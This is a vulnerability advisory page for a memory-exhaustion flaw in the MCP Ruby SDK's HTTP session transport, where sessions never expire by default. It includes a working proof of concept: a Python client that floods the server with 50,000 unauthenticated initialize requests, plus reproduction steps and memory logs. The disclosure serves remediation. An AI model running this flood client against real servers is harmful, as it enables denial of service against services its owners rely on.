🛡️ CVE-2026-67430 — mcp

🟡 CVSS 5.3 — Medium ✅ No Known Exploit CWE-401 NVD
5.3
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

MCP Ruby SDK: Unbounded session retention in StreamableHTTPTransport allows memory exhaustion via initialize flood

Summary

In its default configuration, MCP::Server::Transports::StreamableHTTPTransport never expires sessions. Every successful initialize request stores a new ServerSession and a session record under a fresh UUID, and the only path that removes them is an explicit client-issued HTTP DELETE. An unauthenticated attacker can repeatedly initialize new sessions and immediately disconnect, forcing the server to retain an unbounded number of ServerSession objects until memory is exhausted.

Affected component

lib/mcp/server/transports/streamable_http_transport.rb:

  • Line 27, constructor: def initialize(server, stateless: false, enable_json_response: false, session_idle_timeout: nil) — the default for session_idle_timeout is nil.
  • Line 46: start_reaper_thread if @session_idle_timeout — when the timeout is nil, the reaper that prunes idle sessions is never started.
  • Lines 604–643 (handle_initialization): every successful initialize inserts a new session record; the only removal sites are handle_delete (client-controlled) and stream-error paths.

The project README acknowledges the insecure default (line 1605):

> By default, sessions do not expire. To mitigate session hijacking risks, you can set a session_idle_timeout (in seconds).

Per-session memory cost is non-trivial: each entry contains a ServerSession instance (with its own Mutex, @in_flight hash, capabilities hash, and server reference), a top-level hash entry under the session UUID, and per-pending-request Queue allocations.

Proof of concept

Server (session_poc_server.rb)

Starts the transport in its default configuration (no session_idle_timeout) and reports the in-memory session count plus process RSS every two seconds.

```ruby

require "bundler/setup"

require "mcp"

require "mcp/server/transports/streamable_http_transport"

require "rackup"

require "webrick"

require "rackup/handler/webrick"

server = MCP::Server.new(name: "session-poc-target", tools: [])

transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)

Thread.new do

loop do

sessions = transport.instance_variable_get(:@sessions)

count = sessions ? sessions.size : 0

rss_mb = ps -o rss= -p #{Process.pid}.to_i / 1024

STDERR.puts("[mem] sessions=#{count} RSS=#{rss_mb} MB")

sleep 2

end

end

STDERR.puts("[poc] listening on http://127.0.0.1:9295/")

Rackup::Handler::WEBrick.run(

transport,

Host: "127.0.0.1", Port: 9295,

AccessLog: [], Logger: WEBrick::Log.new(File::NULL),

)

```

Client (session_poc_client.py)

```python

import concurrent.futures, json, socket, time

HOST, PORT = "127.0.0.1", 9295

TOTAL, WORKERS = 50_000, 32

INIT = json.dumps({

"jsonrpc": "2.0", "id": 1, "method": "initialize",

"params": {"protocolVersion": "2025-11-25", "capabilities": {},

"clientInfo": {"name": "flooder", "version": "1.0"}}

}).encode()

REQ = (

f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"

f"Content-Type: application/json\r\n"

f"Accept: application/json, text/event-stream\r\n"

f"Content-Length: {len(INIT)}\r\nConnection: close\r\n\r\n"

).encode() + INIT

def one():

try:

s = socket.create_connection((HOST, PORT), timeout=5)

s.sendall(REQ)

data = b""

while True:

c = s.recv(8192)

if not c: break

data += c

s.close()

return b"mcp-session-id" in data.lower()

except OSError:

return False

start = time.time()

created = 0

with concurrent.futures.ThreadPoolExecutor(max_workers=WORKERS) as ex:

futs = [ex.submit(one) for _ in range(TOTAL)]

for i, f in enumerate(concurrent.futures.as_completed(futs), 1):

if f.result():

created += 1

if i % 1000 == 0:

print(f"[poc] dispatched {i} reqs, {created} sessions confirmed, "

f"elapsed {time.time() - start:.1f}s")

print(f"[poc] done. {created}/{TOTAL} sessions confirmed in "

f"{time.time() - start:.1f}s")

```

Reproduction commands

```sh

bundle install

ruby session_poc_server.rb # terminal A

python3 session_poc_client.py # terminal B

```

Observed result

Tested on macOS, Ruby 3.2.4, against the SDK's main branch.

Server terminal:

```

[mem] sessions=0 RSS=45 MB

[mem] sessions=2605 RSS=56 MB

[mem] sessions=11587 RSS=72 MB

[mem] sessions=23119 RSS=85 MB

[mem] sessions=34391 RSS=119 MB

[mem] sessions=45325 RSS=128 MB

[mem] sessions=50000 RSS=154 MB

[mem] sessions=50000 RSS=152 MB

[mem] sessions=50000 RSS=152 MB

[mem] sessions=50000 RSS=152 MB # plateau persists indefinitely

```

Client terminal:

```

[poc] dispatched 50000 reqs, 50000 sessions confirmed, elapsed 26.6s

[poc] done. 50000/50000 sessions confirmed in 26.6s

```

50,000 unique sessions are created and retained in 26.6 seconds from a single client. T

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability low.

Weakness class

CVE-2026-67430 is classified as CWE-401: Memory Leak. Allocated memory is never released, so long-running or repeated operations gradually exhaust it.

Affected software

CVE-2026-67430 is recorded against 2 packages.

  • mcp (fixed in 0.23.0)
  • unknown

Timeline and source

Published on 30 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
github.com (Web)

Details

Severity Medium
CVSS Score 5.3
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
CWE CWE-401
Public Exploit ✅ No
Source NVD
Published 2026-07-30
Updated 2026-08-12
Modified 2026-07-30
Fix URL N/A

Affected Packages

Software From version Fixed in
mcp 0.23.0
unknown

Vulnerability Monitoring

Track new vulnerabilities in mcp

CVE-2026-67430 is rated CVSS 5.3 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.

Set Up Free Alerts →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.